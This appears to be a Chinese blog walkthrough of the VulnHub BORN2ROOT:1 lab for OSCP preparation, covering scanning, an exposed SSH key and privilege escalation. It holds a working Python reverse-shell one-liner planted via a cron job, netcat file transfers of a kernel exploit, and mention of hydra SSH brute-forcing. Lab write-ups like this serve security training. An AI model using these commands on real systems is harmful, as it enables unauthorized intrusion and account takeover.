前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >靶场实战(16):OSCP备考之VulnHub BORN2ROOT 1

靶场实战(16):OSCP备考之VulnHub BORN2ROOT 1

作者头像
OneMoreThink
发布2024-10-15 11:37:15
发布2024-10-15 11:37:15
1410
举报

1、资产发现

1.1、主机发现

本次靶场BORN2ROOT: 1[1]指定IP,不涉及主机发现过程。

1.2、服务发现

使用命令sudo -u root nmap 172.16.33.98 -n -Pn -p- --reason -sV -sC -O,发现主机开放的端口、提供的服务、使用的组件、组件的版本。

开放的端口

提供的服务

使用的组件

组件的版本

22/tcp

ssh

OpenSSH

6.7p1

80/tcp

http

Apache httpd

2.4.10

111/tcp

rpcbind

?

?

38734/tcp

status

?

?

-

Os

Debian Linux

?

2、漏洞发现(获取权限)

2.1、80端口/HTTP服务

2.1.1、组件漏洞

0x01、Web中间件

使用命令searchsploit Apache httpd 2.4.未发现Web中间件Apache httpd 2.4.10的Nday漏洞。

0x02、Web框架

使用浏览器插件Wappalyzer未发现存在Nday漏洞的Web框架。

2.1.2、URL漏洞

0x01、直接访问

浏览器打开http://172.16.33.98/,除了3个人名MartinHadiJimmy外几乎一无所获,等到后面没招了可以用这3个人名爆破SSH服务。

0x02、目录扫描

前面nmap发现的/robots.txt文件里有/wordpress-blog/files两个文件。

打开/wordpress-blog是一句YOU JUST GOT TROLLED!你被恶搞了的嘲讽,看来不是WordPress呀。打开/files是空的。

使用命令dirsearch -u http://172.16.33.98/ -x 403 ,新发现了/icons文件和/manual文件。

/manual文件是Web中间件的用户手册,没啥用。/icons文件打开是个目录,对于非图片的文件逐个打开看看吧,结果发现http://172.16.33.98/icons/VDSoyuAXiO.txt是SSH私钥,看来前面发现的3个人名派上用场了。

使用命令wget http://172.16.33.98/icons/VDSoyuAXiO.txt下载SSH私钥文件后,使用命令ssh martin@172.16.33.98 -i VDSoyuAXiO.txt登录SSH服务,结果提示bad permissions

使用命令chmod 0600 VDSoyuAXiO.txt修改文件权限后再次登录,结果提示no mutual signature supported

网上查阅文章ssh连接服务器报错“no mutual signature supported”[2]提到可以使用参数-o PubkeyAcceptedKeyTypes=+ssh-rsa。使用命令ssh martin@172.16.33.98 -i VDSoyuAXiO.txt -o PubkeyAcceptedKeyTypes=+ssh-rsa,成功登录martin账号。

0x03、模糊测试

基于目前已知情况,没有对网站的目录或文件进行FUZZ的必要。

0x04、切换协议

浏览器访问https://172.16.33.98:80/,发现连接失败,网站不支持SSL。

3、提升权限

3.1、martin用户

3.1.1、sudo

使用命令sudo -l查看当前用户能以谁的命令执行什么权限,发现没有sudo命令。使用命令which sudo确认确实没有sudo命令。

3.1.2、suid

使用命令find / -perm -u=s -type f -ls 2>/dev/null查看哪些命令在执行时会以命令属主的权限执行,发现不少。逐个在GTFOBins[3]搜索能否用于提权,发现都不行。

3.1.3、cron

使用命令find /var/spool/cron/ -type f -ls 2>/dev/null查看定时任务,一个没有。使用命令find /var/spool/cron/ -type f -ls不隐藏报错,原来是没有查看权限。

使用命令find /etc/*cron* -type f -ls 2>/dev/null -exec cat {} \; > /tmp/cron.txt; grep '\*' /tmp/cron.txt查看定时任务,发现一个有意思的计划任务*/5 * * * * jimmy python /tmp/sekurity.py,jimmy用户每五分钟会执行一次/tmp/sekurity.py脚本。

使用命令ls -l /tmp/sekurity.py查看当前用户有无read和write权限,结果报错Aucun fichier ou dossier de ce type,不存在该脚本文件。那就直接使用命令echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.8.0.110",3398));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/sh")' > /tmp/sekurity.py创建该脚本文件并写入反弹shell。

本地使用命令nc -nvlp 3398进行监听,5分钟内获得jimmy用户的反弹shell,成功完成越权。

3.2、jimmy用户

3.2.1、sudo

结果和martin用户一样。

3.2.2、suid

使用命令find / -perm -u=s -type f -ls 2>/dev/null查看哪些命令在执行时会以命令属主的权限执行,发现不少。逐个检查能否用于提权,发现/home/jimmy/networker命令的other用户具有read、write、execute权限,那岂不是写入提权代码就能获得提权了?

使用命令python -c 'import pty; pty.spawn("/bin/bash")'获得交互式shell后,使用命令/home/jimmy/networker执行该命令,发现不需要输入参数就能执行,是打印网卡信息并ping本地。

使用命令strings /home/jimmy/networker查看命令内容,获得5行核心代码,其中第2、3行的/sbin/ifconfig/bin/ping -c 1 localhost会被执行,第1、4、5行会被打印出来。

那么可以在第2、3行代码中写入提权代码,或者狠一点把整个命令全部改成提权代码,这样就能获得提权了。但实际上该networker命令只要是被修改过,suid权限就会丢失,因此这条路算是被堵死了。

那么地2、3行代码用到的/sbin/ifconfig/bin/ping命令能不能写入提权代码呢?使用命令ls -l /sbin/ifconfig /bin/ping发现other用户没有write权限,看来这条路也被堵死了。

3.1.3、cron

结果和martin用户一样。

3.1.4、内核提权

使用命令uname -r发现内核版本是3.16.0-4-586,使用命令cat /etc/*release发现发行版本是Debian 8

本地使用命令searchsploit Debian 8 3.16.0发现本地提权EXP,使用命令searchsploit -m 44302将EXP拷贝到当前目录,并使用命令gcc 44302.c -o 44302 --static进行编译。

靶机使用命令nc -nvlp 4444 > /tmp/44302接收EXP。本地使用命令nc -nv 172.16.33.98 4444 < 44302上传EXP后使用命令Ctrl+C关闭连接。靶机使用命令chmod +x /tmp/44302赋予EXP执行权限后使用命令/tmp/44302执行EXP,提示报错cannot execute binary file: Erreur de format pour exec()

网上查阅文档解决linux下cannot execute binary file: Exec format error[4]得知可能是本地编译EXP的机器的CPU和靶机的CPU不一样导致的,那就在靶机上编译EXP吧。

靶机使用命令nc -nvlp 4444 > /tmp/44302.c接收EXP。本地使用命令nc -nv 172.16.33.98 4444 < 44302.c上传EXP后使用命令Ctrl+C关闭连接。靶机使用命令 gcc 44302.c -o 44302编译EXP,提示HAHA ... Nope

使用命令which gcc查看gcc命令地址后使用命令cat /usr/bin/gcc查看gcc命令内容,发现被恶搞了,I GOT TROLLED AGAIN!

3.1.5、信息收集

使用命令find /root/ -type f -ls 2>/dev/null查看特权用户目录,无收获。使用命令find /home/ -type f -ls 2>/dev/null查看普通用户目录,发现/home/hadi/目录下存在一些有缓冲区溢出漏洞的命令。但因为这些命令没有suid权限,所以利用该漏洞也只是能拿到当前用户的shell,而无法提权到root用户。

3.3、最终提权

martin用户和jimmy用户都无法提权,查遍国内外所有WriteUp,全部也是这个结论,看来只能暂时作罢。

国内外所有WriteUp的提权方法,逻辑我不太认同。这些WriteUp的逻辑清一色是既然martin和jimmy用户无法提权,那就从hadi用户突破,基于用户名hadi生成定制化的密码本,然后hydra爆破SSH服务成功得到账户密码hadi/hadi123,获得hadi用户权限。

再然后直接使用命令su root通过密码hadi123切换到root用户,成功完成提权。

参考资料

[1]

BORN2ROOT: 1: https://www.vulnhub.com/entry/born2root-1,197/

[2]

ssh连接服务器报错“no mutual signature supported”: https://www.jianshu.com/p/b7dacbde6db8

[3]

GTFOBins: https://gtfobins.github.io

[4]

解决linux下cannot execute binary file: Exec format error: https://blog.csdn.net/owen7500/article/details/52397353

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2024-01-15,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 OneMoreThink 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 1、资产发现
    • 1.1、主机发现
    • 1.2、服务发现
  • 2、漏洞发现(获取权限)
    • 2.1、80端口/HTTP服务
    • 2.1.1、组件漏洞
    • 2.1.2、URL漏洞
  • 3、提升权限
    • 3.1、martin用户
      • 3.1.1、sudo
      • 3.1.2、suid
      • 3.1.3、cron
    • 3.2、jimmy用户
      • 3.2.1、sudo
      • 3.2.2、suid
      • 3.1.3、cron
      • 3.1.4、内核提权
      • 3.1.5、信息收集
    • 3.3、最终提权
    • 参考资料
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档